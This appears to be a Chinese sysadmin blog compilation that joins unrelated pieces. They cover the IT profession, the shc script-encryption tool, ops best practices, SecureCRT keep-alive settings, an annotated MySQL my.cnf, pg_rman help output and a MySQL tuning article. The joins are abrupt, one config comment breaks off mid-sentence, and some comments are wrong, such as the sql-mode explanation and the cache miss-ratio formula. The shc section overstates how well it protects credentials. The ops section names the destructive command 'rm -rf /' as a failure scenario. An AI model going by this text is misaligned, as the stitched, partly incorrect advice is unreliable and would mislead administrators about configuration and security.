IT 专业人士在公众中的口碑不好。为什么?其中有诸多原因。有的是一朝被蛇咬十年怕井绳。有的遇到的顾问似乎总是想向他们推销更大更好的东西。只要这些事情延 续,公众就会变得疲倦,IT专业人士就难以赢得尊重。哦,当然,当他们看见你进门的时候,你是他们最好的朋友......那一刻是。 但是一旦你解决了那个“大难临头”的问题之后,要么赶紧拍拍屁股走人,要么就得不断强调你的所为已经超出了他们雇你的范围(或者超出了时间范围)。(译 注:意思是说拿IT人当牛当马)
想打退堂鼓了吗?
这些IT工作的负面影响是不是已经超出了其积极面?如果不干IT的话你想从事什么职业?希望你能在评论中分享自己的观点。
用shell脚本对系统进行自动化维护,简单,便捷而且可移植性好.但shell脚本是可读写的,很有可能会泄露敏感信息,如用户名,密码,路径,IP等。同样,在shell脚本运行时会也泄露敏感信息。
shc是一个加密shell脚本的工具。它的作用是把shell脚本转换为一个可执行的二进制文件。
这就很好的解决了上述问题。
http://www.datsi.fi.upm.es/~frosal/
这里下载:shc-3.8.7.tgz
安装:
#make 生成shc文件
#cp shc /usr/local/bin/ 把shc文件拷贝到你的目录
加密shell:
shc -r -f script-name.sh
会生成2个文件,script-name.sh.x跟script-name.sh.x.c文件。
script-name.sh.x为生成的2 进制文件
script-name.sh.x.c为shell脚本转换的c文件源代码
◆Google的秘诀是正确的——“为变化而设计”。“变化”就是不得不部署新的软件,升级现有的软件,进行扩展,设备损坏,以及人员流动等。
◆每一件事情都是在寻找平衡点。你也许会认为把你的系统和某个操作系统或某个Linux发行版牢牢地绑定在一起是一个好主意,但事实上这跟把它们完全隔离一样糟。如果实在有必要,你可以进行分层,并使用一点间接性。
◆这并不意味着你的系统必须是平台无关的。其实我们的目的很简单:一变二,二变二十,一个系统必须可以应对各种突发事件。也就是说,如果一个系统管理员被公共汽车撞了,你有应对的方案!如果挂载的硬盘出现故障了,你有应对的方案!如果某些人运行了rm -rf /,你也有应对的方案!增量的进行变更。记得安全更新,以及保持内容更新。
使用自动的,可重复的构建过程
◆不要手动构建任何东西。如果你一定需要手动构建,那么就做两遍,在做第二遍的时候把用到所有的命令都提取出来。
◆下面这一点十分重要:将新硬件上线到生产环境的过程不应该超过15分钟,而且这个过程必须足够简单。否则,当一个服务器出现故障,而没有人知道如何更换它的时候,你就该倒霉了。
◆下面这一条是普世真理:这个世界上不存在“一次性”的服务器构建。即使你的服务器只需要构建一次,但只要你构建过一次,就一定会有第二次。比如,当它损坏的时候,或者你必须进行一次重大的升级才能让它在在接下来的两年时间里更加稳定的时候。
◆测试,检查新构建好的服务器。这应该是比较容易的,因为你的构建过程都是自动化的,对吧!
◆脚本化的构建,意味着从某个Linux发行版的V3升级到V4应该是很快的。安装
V4,对脚本进行测试。如果有问题,参考文档并修复它,直到它可以再次正常工作。这最多应该是一个星期的工作,而不是一个长达一年的浩大工程(因为那时,刚刚完成的V5已经发布了!)
使用冗余
◆容易重新构建,并不意味着你可以忽视冗余。跳转盒,邮件服务器,计费网关,等等。如果其中的一半挂掉了却并不造成客户的宕机,生活将会变得更加简单。
◆按照以上方针来做的话,当某个设备在凌晨3点出现故障的时候,你可以“以后再处理那个出现故障的设备!”,把冗余的机器先替换上去。
◆下面这一条是个聊胜于无的解决方案:Rsync。DRBD也许也不是一个完美的解决方案,但是它可以提供令人称奇的服务。(参考阅读:DRBD笔记,DRBD实例1,DRBD实例2)
使用备份
◆备份是个严肃的话题。使用硬盘,烧录磁带。压缩它们,移动它们,并行地运行。对每一样东西进行备份!
◆如果你的构建过程是自动的,整个过程都可以被备份。如果到目前为止的几条你都做到了,那么一个真正的“灾难恢复”计划也许并不是那么遥不可及的
监控正确的东西
◆监控你能监控的所有东西,而且要用正确的方法来进行监控。如果你的NFS服务器挂掉了,不要让你的监控工具发送1000条警报。如果对你的系统来说,超时的警报没有什么实际意义,那就别让它发。要针对各种具体的情况进行成功性测试:是的,这个服务可以进行一个新的TCP连接,它甚至可以响应,但是它还记得它要做什么工作吗?
◆如果你有500个Web服务器,其中一个挂掉了,你可能不必马上知道这个情况。但是,如果负载均衡器没有把这台机子踢出去,导致错误报告出现在了用户的屏幕上,那么你必须知道这个情况!
有关数据图形化,历史数据
◆图形的作用是让趋势可视化。历史数据的作用是让你对数据进行精确的分析。不要把这两者混为一谈!对图形进行目测,很容易获得错误的数值。许多站点都使用rrd类型的系统或其他的数据聚合系统,此类系统按照时间对数据进行平均化处理,然后保存在存储空间中。这不仅仅是难以阅读的问题:这根本是错误的!
◆如果你要浏览数百张图才能精确地对一个问题进行定位,那真是糟透了。想要找出极值?请使用脚本提取数据。
◆如果你必须使用图形来解决问题,尽量把各种高级的概念整合到一个单一的页面中,然后让这个页面链接到拥有具体信息的子页面中。如果你在数据库负载中可以看到一个峰值,你可以点击这个页面对那些数据库进行概览,然后找到那一两台可疑的机器。基本的理念是尽快地缩小范围,尽可能的减少猜测。
日志记录,使用多个数据流
◆无论是独立工作还是与开发部门合作,都要把尽可能多的有用的信息记录到日志中。无论是分析之后再保存,还是直接扔进数据库中生成报告,这些都无所谓。信息终归是有用的。
◆有用的例子:页面呈现时间(哪个页面?哪个设备?),面向用户的错误,数据库和内部服务错误,带宽使用率等。
◆建立图表,报告,并对产生的历史数据进行比较。
◆报告是十分重要的。每周或每天对你的基础设施变更进行汇总。
数据存储方式,数据库
◆诚然,数据库运维是一套完整而独立的知识体系。但是有时,你不能把一切都丢给你的DBA。
◆拥有多个冗余的数据库会给你带来很多好处。对于一个庞大的Oracle实例来说,从前,很多运维工作需要好几个小时的关机维护时间;而现在,完全可以在服务运行的同时进行。MySQL和数据库复制功能是一件奇妙的事情。
◆和DBA们一起努力,尽量为可能会发生问题的数据库争取到最好的硬件。RAID 10,大量的RAM,高速硬盘,乃至于强悍的RAM磁盘和SSD。运维人员对提供商要货比三家,这样可以减轻DBA对硬件的恐惧。从长远来看,找出哪个品牌的硬件更加优秀会节省大量的资金。
◆数据库配置一直在改变。现在出现了HiveDB,MySQL Proxy,DPM这些软件。我们绝对应该对巨大的数据集进行分割。我们也可以考虑一下像starling和Gearman这样具有一定创新性的软件。了解一下这些软件的用途,同时,了解一下并不是一切东西都要保存在一个数据库中的。
◆善用你的过滤器!如果这些数据很重要,应该对它们进行备份!单片的NFS服务器的快照很奇妙,它并不是一个备份!
◆可以虑一下替代的解决方案。MogileFS现在变得越来越好了(参考阅读:分布式文件系统试用比较)。实际上,还有其他类似的项目可以免费(或廉价)地维护大量的存储文件。类似的系统基本上都是是为youtube.com、archive.org等站点而开发的。我们最终会让廉价的NFS过滤器成为标准!
多一些横向扩展,少一些纵向扩展
◆横向扩展是我们应该走的路。应该使用常规的(即:可用的,价格适中的,标准的。而不是特便宜的!)硬件,然后和大家一起努力,确保各方面都可以进行横向扩展。
◆横向扩展从两台机子开始。另外,进行冗余的时候也会涉及到横向扩展。
◆尽可能的横向扩展,但是不要傻乎乎的扩展。在MySQL复制中有一个经典的白痴扩展的例子:使用一个master对很多个slave。所有的slave必须完成全部的写入,而写入次数是与读取次数成比例增加的(大多数应用都是这样)。也就是说,你添加的slave越多,通过添加slave扩展的资源就越少。
◆留意一下替代的解决方案。按照用户或区域对多个数据库进行划分,同时避免增加过多的slave。实际上,有许多种方法可以达到这个目的。
◆一切都可能扩展!路由器,交换机,负载均衡器,Web服务器,数据库,等等。
◆记得纵向扩展吗?以前那些邪恶的大型机们有很多核,很多IO板,配备了非常昂贵的存储设备。而现在,多核这个概念开始蔓延了。
◆RAM是廉价的。
◆将以上两点合并起来,这意味着你只需要再次合并服务就可以了。这儿有一个负载均衡器,那儿有一个Web服务器……如果一个应用程序可以使用许多个CPU(比如apache),那么这是完美的。如果它不能(比如memcached),那么你最终可能会由于离散的服务太多而浪费掉大量的可用资源。
◆作业系统(job systems)也许可以填补这个鸿沟。哪里的核心的越多,哪里的工作线程就越多。
缓存
◆对于开发者和系统运维人员来说,缓存可是个好东西,值得大力发展!的确,它是不可思议的。它是与众不同的。有时你可能必须要为它做一个权衡。有效地使用缓存可以让系统的整体性能提升10倍之多。对于你当前的系统来说,这是一个巨大的“放大镜”,并且,它的成本在总成本中只占很小的一部分。
◆Memcached。它可以为服务提供缓存,让数据库结构非标准化(这可以提升性能!),对squid缓存进行优化,甚至可以提高操作系统缓存的利用率。
◆测试它,玩弄它,并打破它。使用缓存会带来新的问题。要做好准备。
让工作异步化
◆可以使用Starling, Gearman, The Schwartz等工具。作业系统可以给应用程序提供更多的灵活性。工作线程可以一次性地产生出来,也可以是持久的(载入缓存数据,准备数据等)。它们可以在不同的硬件上,它们的地理位置也可以不同。它们既可以是同步的,也可以是异步的。
◆维护这些东西是一个运维人员的问题。使用它们既是开发者的问题也是运维人员的问题。
◆当用户点击“给我所有的朋友发送邮件”的时候,把这个工作列入计划,然后马上说:“OK,已经完成了!你的朋友马上会收到你的邮件!”——通过异步化的方式来处理这个工作。
◆作业系统是衔接各个服务的一个场所。博客投递-〉IM通知,定期计费-〉收费服务,网关认证等。
◆容易扩展。在请求进入的地方会有一些瓶颈,所有的工作线程必须要做的事情就是“拉”。这个是相对于HTTP中大量推/拉的状态而言的。
安全和巡查
◆一定要安装安全更新!这十分重要!有很多疯狂的网络专家致力于在尽可能短的时间内给你提供这些更新。不要因为你害怕改变而让他们白白地付出劳动。
◆安全性也是分层的。明白你能确保什么,以及不能做什么。MySQL有密码访问机制,并不意味着可以允许直接通过互联网来访问它。
◆在SSH上禁用密码。使用经过加密的passphrase密钥来进行身份验证。远程的用户无法猜出你的私有密钥。他们必须从你这里才能得到它。把它保管好。做好这点,就没必要在防火墙中关闭你的SSH端口了。
◆搞清楚你的应用程序是如何工作的,它具体需要做些什么,并相应的进行调整。比如说,如果你的应用当中,只有付费页面和Twitter投递服务是需要连接外部互联网的,那么就把它们做成工作线程。将这部分工作线程放在特定的设备中,让它们只能访问特定的主机。这可以神不知鬼不觉地把你的网络的其余部分保护起来。
◆对于PHP站点来说,以上这些建议尤其重要,但是在其他地方,它们也可以发挥作用。如果有人要入侵,那么多半是通过你的应用。即使有人从前门入侵了系统,也要让他们花费很大精力才能进入保险箱。你需要确保的是他们无法将数据带走或上传至别的什么服务器上。
◆除了这些具体的建议之外,你还应该多读一些资料。自己判断,自己动手测试。如果你不知道一个安全模型是如何工作的,一时半会儿可能问题不大,但是这就会导致你不知道它的限制在哪里,甚至于无法判断它是否在工作。
◆基于测试,理论,攻击树的安全机制是不会在背后给你一刀的。当人们构想出模糊的安全模型的时候我也很喜欢它,但是像我这样的普通人都可以把它弄的支离破碎。
◆尽可能地进行巡查!登录,退出,以及使用的命令都要进行审查。对面向外部服务的所有访问,包括所有在请求中指定的参数,都要进行审查。对于你的应用程序来说,找出极值,然后彻底禁止输入超出范围的值。做你能做的所有事情,让数据以可追溯的方式工作。
◆如果你怀疑某些东西可能会被破坏,应该采取适当的预防措施,最好懂得一点计算机取证方面的知识(或者聘请一个专门从事这项业务的公司)。通过移除可疑的网络访问来做出响应,通过一系列的控制台或直接通过终端来检查整个系统。在已经被破坏的机器上,避免使用任何的服务,配置文件,或数据。很多人都是“清除了一个木马”,但是不知道它是怎么进来的——这样并不算真正地清除了这个木马。
◆如果你有安全团队,取证专家,或其他人手,那么你尽量不要接触那台机器,把它隔离起来。这意味着不要重新启动它来“清除一些奇怪的进程”。他们需要这些证据。如果你必须这么做,就去做吧,但是要记得把系统彻底地清理干净,打上所有的安全更新,尽量搞清楚他们是否已经破坏了重要的数据。做你能做的所有事情。
◆安全实际上是一种权衡。如果你做错了,开发者和用户们都会“揭竿而起”:他们会找到一些方法来绕过安全机制。如果他们可以绕过它,那说明你的工作并没有做好。如果他们不能绕过它,那么他们也许会放弃,然后离开。
◆紧抓访问控制。这意味着运维人员必须要为已经锁上门的“房间”提供一些窗户。不让开发人员进入生产环境,意味着他们必须抹黑解决难题。你的确不能让开发者们直接对服务进行修改,但是你可以提供日志工具和调试工具等等。对于各种产品来说,这些都是成功的秘诀。
网上找了几种解决方法
第一种方法:
1.下载正确的CRT版本,有些CRT没有解决此问题的功能(没有我将要设置的属性),我下载的是SecureCRT5.0 Beta版本,这个版本有这个属性。
2.安装完成后,选择Options—–Global Options—Edit default Settings—–Terminal—-Emulation,选anti-idle下的:send string,自己设置一个字符或者字符串,我设置的是@,便于和其他相区别。选择你认为合适的时间,一般默认300秒。
3.重新打开SecureCRT,再建立连接,这样每隔300秒,机器会向远程连接的服务器发送一个@字符。
4。问题解决了。
第二种解决方法:
选择option->session option->Terminal->Anti-idle->Send protocol NO-OP every__seconds
设置合适的时间即可。
我用的是SecureCRT5.0第一种方法我这没找到对应的选项,所以用的第二种方法但是有个不方便的地方是必须要连接session以后才能选择session option,所以如果是连接的服务器多的话就比较麻烦。
如果别的朋友有好的解决方法可以写出来大家互相学习。
[client]
default-character-set = utf8
port = 3000
socket = /tmp/mysql.sock
# *** [mysql]内容放入/etc/my.cnf中才会生效 ***
[mysql]
prompt=(\\u@\h)[\d]> #prompt是设置提示符用的,让你随时可以知道你在那个机器,那个库,时间等等。
no-auto-rehash #不让MySQL自动提示,这样对MySQL客户端有点慢。
show-warnings #可以让MySQL执行SQL出现warning的时候,把warning也打印出来
[mysqld]
port = 端口
socket = /freewil/mysql/端口/data/mysql.sock #sock路径
datadir = /freewil/mysql/端口/data #数据路径
log-bin = /freewil/mysql/端口/data/mysql-synbin #binlog路径
log_slow_queries = /var/log/slowlog/端口.log #慢查询保存路径
long_query_time = 2 #不要在这里使用”1″, 否则会导致所有的查询,甚至非常快的查询页被记录下来,单位秒
ft_min_word_len = 2 #分词设置
local-infile=0 #禁用load data infile
sql-mode=”NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION” #不自动增加用户,不自动提交
# *** 同步设置 相关选项 ***
server-id = 2183000 #相当于机器标识符,server-id必须要唯一
master-host = ip #主的host、user、pwd、port
master-user = 用户名
master-password = 密码
master-port = 端口
log-slave-updates #将主数据库上的日志同步过来
sync_binlog=1 #执行一条数据后刷新
auto_increment_increment=2 #自增长ID,必须相同,两台就为2,三台就为3,如果就主从就可以不设置
auto_increment_offset=1 #自增长的起始位置这里为1,第二台就必须为2
replicate-ignore-db = mysql #不允许同步的数据库
replicate-do-db = opococ2mod #允许同步的数据库
replicate-do-db = storage_index #允许同步的数据库
relay-log = relay #如果同步失败,可以从中继日志中执行恢复操作,一般不会使用到
relay-log-purge = 1 #自动删除这些relay-log
#slave-skip-errors = all #all它能忽略所有的错误信息,不管什么情况都继续保持同步[慎用],一般关闭
slave-net-timeout=60 #设置网络延时
master-connect-retry=60 #网络断了之后重联的时间
expire-logs-days=60 #日志文件失效时间,保存60天
max_binlog_size=512M #binlog最大大小
binlog_cache_size=4M #binlog缓存大小
max_binlog_cache_size=8M #binlog最大缓存大小
#default-character-set = utf8
user = mysql
basedir = /usr/local/mysql5
open_files_limit = 10240
# back_log 是操作系统在监听队列中所能保持的连接数,
# 队列保存了在MySQL连接管理器线程处理之前的连接.
# 如果你有非常高的连接率并且出现”connection refused” 报错,
# 你就应该增加此处的值.
# 检查你的操作系统文档来获取这个变量的最大值.
# 如果将back_log设定到比你操作系统限制更高的值,将会没有效果
back_log = 600
# MySQL 服务所允许的同时会话数的上限
# 其中一个连接将被SUPER权限保留作为管理员登录.
# 即便已经达到了连接数的上限.
max_connections = 3000
# 每个客户端连接最大的错误允许数量,如果达到了此限制.
# 这个客户端将会被MySQL服务阻止直到执行了”FLUSH HOSTS” 或者服务重启
# 非法的密码以及其他在链接时的错误会增加此值.
# 查看 “Aborted_connects” 状态来获取全局计数器.
max_connect_errors = 6000
# 所有线程所打开表的数量.
# 增加此值就增加了mysqld所需要的文件描述符的数量
# 这样你需要确认在[mysqld_safe]中 “open-files-limit” 变量设置打开文件数量允许至少4096
table_cache = 614
# 允许外部文件级别的锁. 打开文件锁会对性能造成负面影响
# 所以只有在你在同样的文件上运行多个数据库实例时才使用此选项(注意仍会有其他约束!)
# 或者你在文件层面上使用了其他一些软件依赖来锁定MyISAM表
external-locking = FALSE
# 服务所能处理的请求包的最大大小以及服务所能处理的最大的请求大小(当与大的BLOB字段一起工作时相当必要)
# 每个连接独立的大小.大小动态增加
max_allowed_packet = 32M
# 我们在cache中保留多少线程用于重用
# 当一个客户端断开连接后,如果cache中的线程还少于thread_cache_size,
# 则客户端线程被放入cache中.
# 这可以在你需要大量新连接的时候极大的减少线程创建的开销
# (一般来说如果你有好的线程模型的话,这不会有明显的性能提升.)
thread_cache_size = 300
# 在InnoDb核心内的允许线程数量.
# 最优值依赖于应用程序,硬件以及操作系统的调度方式.
# 过高的值可能导致线程的互斥颠簸.
thread_concurrency = 8
# 查询缓冲常被用来缓冲 SELECT 的结果并且在下一次同样查询的时候不再执行直接返回结果.
# 打开查询缓冲可以极大的提高服务器速度, 如果你有大量的相同的查询并且很少修改表.
# 查看 “Qcache_lowmem_prunes” 状态变量来检查是否当前值对于你的负载来说是否足够高.
# 注意: 在你表经常变化的情况下或者如果你的查询原文每次都不同,
# 查询缓冲也许引起性能下降而不是性能提升.
query_cache_size = 32M
# 只有小于此设定值的结果才会被缓冲
# 此设置用来保护查询缓冲,防止一个极大的结果集将其他所有的查询结果都覆盖.
query_cache_limit = 2M
#查询缓存最小模块
query_cache_min_res_unit = 2k
#默认存储引擎
default-storage-engine = MyISAM
# 当创建新表时作为默认使用的表类型,
# 如果在创建表示没有特别执行表类型,将会使用此值
default_table_type = MyISAM
# 线程使用的堆大小. 此容量的内存在每次连接时被预留.
# MySQL 本身常不会需要超过64K的内存
# 如果你使用你自己的需要大量堆的UDF函数
# 或者你的操作系统对于某些操作需要更多的堆,
# 你也许需要将其设置的更高一点.
thread_stack = 256K
# 设定默认的事务隔离级别.可用的级别如下:
# READ-UNCOMMITTED, READ-COMMITTED, REPEATABLE-READ, SERIALIZABLE
transaction_isolation = READ-COMMITTED
# 内部(内存中)临时表的最大大小
# 如果一个表增长到比此值更大,将会自动转换为基于磁盘的表.
# 此限制是针对单个表的,而不是总和.
tmp_table_size = 246M
# 独立的内存表所允许的最大容量.
# 此选项为了防止意外创建一个超大的内存表导致永尽所有的内存资源.
max_heap_table_size = 246M
# 在慢速日志中记录更多的信息.
# 一般此项最好打开.
# 打开此项会记录使得那些没有使用索引的查询也被作为到慢速查询附加到慢速日志里
log_long_format
#binlog语句执行记录模式
binlog_format = MIXED
#sort_buffer_size – 1M for 1GB, 2M for 2GB, 4M for 4GB
sort_buffer_size = 6M
#join_buffer_size – 1M for 1GB, 2M for 2GB, 4M for 4GB
join_buffer_size = 6M
#key_buffer – 64M for 1GB, 128M for 2GB, 256 for 4GB
key_buffer_size = 256M
#read_buffer_size – 1M for 1GB, 2M for 2GB, 4M for 4GB
read_buffer_size = 2M
#read_rnd_buffer_size – 768K for 1GB, 1536K for 2GB, 3072K for 4GB
read_rnd_buffer_size = 16M
#myisam_sort_buffer_size – 32M for 1GB, 64M for 2GB, 128 for 4GB
myisam_sort_buffer_size = 128M
# MyISAM 使用特殊的类似树的cache来使得突发插入
# (这些插入是,INSERT … SELECT, INSERT … VALUES (…), (…), …, 以及 LOAD DATA
# INFILE) 更快. 此变量限制每个进程中缓冲树的字节数.
# 设置为 0 会关闭此优化.
# 为了最优化不要将此值设置大于 “key_buffer_size”.
# 当突发插入被检测到时此缓冲将被分
# MySQL重建索引时所允许的最大临时文件的大小 (当 REPAIR, ALTER TABLE 或者 LOAD DATA INFILE).
# 如果文件大小比此值更大,索引会通过键值缓冲创建(更慢)
myisam_max_sort_file_size = 10G
# 如果一个表拥有超过一个索引, MyISAM 可以通过并行排序使用超过一个线程去修复他们.
# 这对于拥有多个CPU以及大量内存情况的用户,是一个很好的选择.
myisam_repair_threads = 1
#等待延时
wait_timeout = 20
#网络连接延时
interactive_timeout = 20
# 自动检查和修复没有适当关闭的 MyISAM 表.
myisam_recover
#不让DNS解析
skip-name-resolve
#关闭Innodb表结构
skip-innodb
#避免MySQL的外部锁定,减少出错几率增强稳定性。
skip-locking
# *** INNODB 相关选项 ***
innodb_additional_mem_pool_size = 16M
innodb_buffer_pool_size = 2048M
innodb_data_file_path = ibdata1:1024M:autoextend
innodb_file_io_threads = 4
innodb_thread_concurrency = 8
innodb_flush_log_at_trx_commit = 2
innodb_log_buffer_size = 16M
innodb_log_file_size = 128M
innodb_log_files_in_group = 3
innodb_max_dirty_pages_pct = 90
innodb_lock_wait_timeout = 120
innodb_file_per_table = 0
[mysqldump]
quick
max_allowed_packet = 32M
看起来好像是模仿oracle的RMAN工具。
pg_rman特点:
•使用简单.一个命令即可完成备份和恢复.
• 支持在线全备,增量备份,归档备份.
•支持备份压缩.通过gzip工具实现页内压缩.
•自动备份维护.自动删除过期的WAL备份文件.
•支持备份验证.
•恢复期间无事务丢失.支持基于PITR的配置文件生成器
pg_rman平台支持:
Tested platforms:
OS Edition PostgreSQL Revision Date
Linux Fedora 11 8.4.2 23 2009-12-18
Linux Fedora 11 8.3.9 23 2009-12-18
Linux Fedora 11 8.2.15 23 2009-12-18
Requirements:
* Linux (and some of UNIXes)
* PostgreSQL 8,2, 8.3, 8.4, and 8.5
Unsupported platforms:
* Windows
* PostgreSQL 8.1 or prior versions.
pg_rman命令参考:
[postgre@daduxiong etc]$ pg_rman --help
pg_rman manage backup/recovery of PostgreSQL database.
Usage:
pg_rman OPTION init
pg_rman OPTION backup
pg_rman OPTION restore
pg_rman OPTION show [DATE]
pg_rman OPTION show timeline [DATE]
pg_rman OPTION validate [DATE]
pg_rman OPTION delete DATE
Common Options:
-D, --pgdata=PATH location of the database storage area
-A, --arclog-path=PATH location of archive WAL storage area
-S, --srvlog-path=PATH location of server log storage area
-B, --backup-path=PATH location of the backup storage area
-c, --check show what would have been done
Backup options:
-b, --backup-mode=MODE full, incremental, or archive
-s, --with-serverlog also backup server log files
-Z, --compress-data compress data backup with zlib
-C, --smooth-checkpoint do smooth checkpoint before backup
--keep-data-generations=N keep GENERATION of full data backup
--keep-data-days=DAY keep enough data backup to recover to DAY days age
--keep-arclog-files=NUM keep NUM of archived WAL
--keep-arclog-days=DAY keep archived WAL modified in DAY days
--keep-srvlog-files=NUM keep NUM of serverlogs
--keep-srvlog-days=DAY keep serverlog modified in DAY days
Restore options:
--recovery-target-time time stamp up to which recovery will proceed
--recovery-target-xid transaction ID up to which recovery will proceed
--recovery-target-inclusive whether we stop just after the recovery target
--recovery-target-timeline recovering into a particular timeline
Catalog options:
-a, --show-all show deleted backup too
Connection options:
-d, --dbname=DBNAME database to connect
-h, --host=HOSTNAME database server host or socket directory
-p, --port=PORT database server port
-U, --username=USERNAME user name to connect as
-w, --no-password never prompt for password
-W, --password force password prompt
Generic options:
-q, --quiet don't write any messages
--debug debug mode
--help show this help, then exit
--version output version information, then exit
Read the website for details. <http://code.google.com/p/pg-rman/>
Report bugs to <http://code.google.com/p/pg-rman/issues/list>.
pg_rman安装:
进入下载http://code.google.com/p/pg-rman/downloads/list
通过解压,然后编译即可使用。
过程非常简单
配置你的mysql配置文件:主要是配置[mysqld]后面的内容。
1,优化远程连接速度。
在[mysqld]下面添加skip-name-resolve
skip-name-resolve
选项就能禁用DNS解析,连接速度会快很多。不过,这样的话就不能在MySQL的授权表中使用主机名了而只能用ip格式。
2,设置连接数,mysql默认的连接数是100,太少了。
[mysqld]下面添加
max_connections=512
3,开启缓存机制
skip-locking#取消文件系统的外部锁
key_buffer = 512M#索引缓存,根据内存大小而定,如果是独立的db服务器,可以设置高达80%的内存总量
#连接排队列表总数
back_log = 200
max_allowed_packet = 2M
#打开表缓存总数,可以避免频繁的打开数据表产生的开销
table_cache = 512
#每个线程排序所需的缓冲
sort_buffer_size = 4M
#MyISAM表发生变化时重新排序所需的缓冲
myisam_sort_buffer_size = 64M
#缓存可重用的线程数
thread_cache = 128
#查询结果缓存
query_cache_size = 128M
#设置超时时间,能避免长连接
wait_timeout=60
#最大并发线程数,cpu数量*2
thread_concurrency = 4
#记录慢查询,然后对慢查询一一优化
log_output=FILE # also can be FILE,TABLE or TABLE or NONE
slow-query-log=1
slow_query_log_file=log-slow-queries.log
long_query_time = 1
4,安装mytop监控mysql
apt-get install mytop
执行命令mytop就可以看到mysql的运行状态。
以下内容为转载的网上的文章,对mysql的配置和调试做了很详细的讲解:
关于 MySQL 调优
有3种方法可以加快 MySQL 服务器的运行速度,效率从低到高依次为:
替换有问题的硬件, 对 MySQL 进程的设置进行调优,对查询进行优化。
替换有问题的硬件通常是我们的第一考虑,主要原因是数据库会占用大量资源。不过这种解决方案也就仅限于此了。实际上,您通常可以让中央处理器(CPU)或磁盘速度加倍,也可以让内存增大4到8倍。
第二种方法是对 MySQL 服务器(也称为 mysqld)进行调优。对这个进程进行调优意味着适当地分配内存,并让 mysqld 了解将会承受何种类型的负载。加快磁盘运行速度不如减少所需的磁盘访问次数。类似地,确保 MySQL 进程正确操作就意味着它花费在服务查询上的时间要多于花费在处理后台任务(如处理临时磁盘表或打开和关闭文件)上的时间。对 mysqld 进行调优是本文的重点。
最好的方法是确保查询已经进行了优化。这意味着对表应用了适当的索引,查询是按照可以充分利用 MySQL 功能的方式来编写的。尽管本文并没有包含查询调优方面的内容(很多著作中已经针对这个主题进行了探讨),不过它会配置 mysqld 来报告可能需要进行调优的查询。
虽然已经为这些任务指派了次序,但是仍然要注意硬件和 mysqld 的设置以利于适当地调优查询。机器速度慢也就罢了,我曾经见过速度很快的机器在运行设计良好的查询时由于负载过重而失败,因为 mysqld 被大量繁忙的工作所占用而不能服务查询。
记录慢速查询
在一个 SQL 服务器中,数据表都是保存在磁盘上的。索引为服务器提供了一种在表中查找特定数据行的方法,而不用搜索整个表。当必须要搜索整个表时,就称为表扫描。通常来说,您可能只希望获得表中数据的一个子集,因此全表扫描会浪费大量的磁盘 I/O,因此也就会浪费大量时间。当必须对数据进行连接时,这个问题就更加复杂了,因为必须要对连接两端的多行数据进行比较。
当然,表扫描并不总是会带来问题;有时读取整个表反而会比从中挑选出一部分数据更加有效(服务器进程中查询规划器用来作出这些决定)。如果索引的使用效率很低,或者根本就不能使用索引,则会减慢查询速度,而且随着服务器上的负载和表大小的增加,这个问题会变得更加显著。执行时间超过给定时间范围的查询就称为慢速查询。
您可以配置 mysqld 将这些慢速查询记录到适当命名的慢速查询日志中。管理员然后会查看这个日志来帮助他们确定应用程序中有哪些部分需要进一步调查。清单 1 给出了要启用慢速查询日志需要在 my.cnf 中所做的配置。
清单 1. 启用 MySQL 慢速查询日志
[mysqld]; enable the slow query log, default 10 secondslog-slow-queries; log queries taking longer than 5 secondslong_query_time = 5; log queries that don't use indexes even if they take less than long_query_time; MySQL 4.1 and newer onlylog-queries-not-using-indexes
这三个设置一起使用,可以记录执行时间超过 5 秒和没有使用索引的查询。请注意有关 log-queries-not-using-indexes 的警告:您必须使用 MySQL 4.1 或更高版本。慢速查询日志都保存在 MySQL 数据目录中,名为 hostname-slow.log。如果希望使用一个不同的名字或路径,可以在 my.cnf 中使用 log-slow-queries = /new/path/to/file 实现此目的。
阅读慢速查询日志最好是通过 mysqldumpslow 命令进行。指定日志文件的路径,就可以看到一个慢速查询的排序后的列表,并且还显示了它们在日志文件中出现的次数。一个非常有用的特性是 mysqldumpslow 在比较结果之前,会删除任何用户指定的数据,因此对同一个查询的不同调用被计为一次;这可以帮助找出需要工作量最多的查询。
对查询进行缓存
很多 LAMP 应用程序都严重依赖于数据库,但却会反复执行相同的查询。每次执行查询时,数据库都必须要执行相同的工作 —— 对查询进行分析,确定如何执行查询,从磁盘中加载信息,然后将结果返回给客户机。MySQL 有一个特性称为查询缓存,它将(后面会用到的)查询结果保存在内存中。在很多情况下,这会极大地提高性能。不过,问题是查询缓存在默认情况下是禁用的。
将 query_cache_size = 32M 添加到 /etc/my.conf 中可以启用 32MB 的查询缓存。
监视查询缓存
在启用查询缓存之后,重要的是要理解它是否得到了有效的使用。MySQL 有几个可以查看的变量,可以用来了解缓存中的情况。清单 2 给出了缓存的状态。
清单 2. 显示查询缓存的统计信息
mysql> SHOW STATUS LIKE 'qcache%';+-------------------------+------------+| Variable_name | Value |+-------------------------+------------+| Qcache_free_blocks | 5216 || Qcache_free_memory | 14640664 || Qcache_hits | 2581646882 || Qcache_inserts | 360210964 || Qcache_lowmem_prunes | 281680433 || Qcache_not_cached | 79740667 || Qcache_queries_in_cache | 16927 || Qcache_total_blocks | 47042 |+-------------------------+------------+8 rows in set (0.00 sec)
这些项的解释如表 1 所示。
表 1. MySQL 查询缓存变量
变量名 说明
Qcache_free_blocks 缓存中相邻内存块的个数。数目大说明可能有碎片。FLUSH QUERY CACHE 会对缓存中的碎片进行整理,从而得到一个空闲块。
Qcache_free_memory 缓存中的空闲内存。
Qcache_hits 每次查询在缓存中命中时就增大。
Qcache_inserts 每次插入一个查询时就增大。命中次数除以插入次数就是不中比率;用 1 减去这个值就是命中率。在上面这个例子中,大约有 87% 的查询都在缓存中命中。
Qcache_lowmem_prunes 缓存出现内存不足并且必须要进行清理以便为更多查询提供空间的次数。这个数字最好长时间来看;如果这个数字在不断增长,就表示可能碎片非常严重,或者内存很少。(上面的 free_blocks 和 free_memory 可以告诉您属于哪种情况)。
Qcache_not_cached 不适合进行缓存的查询的数量,通常是由于这些查询不是 SELECT 语句。
Qcache_queries_in_cache 当前缓存的查询(和响应)的数量。
Qcache_total_blocks 缓存中块的数量。
通常,间隔几秒显示这些变量就可以看出区别,这可以帮助确定缓存是否正在有效地使用。运行 FLUSH STATUS 可以重置一些计数器,如果服务器已经运行了一段时间,这会非常有帮助。
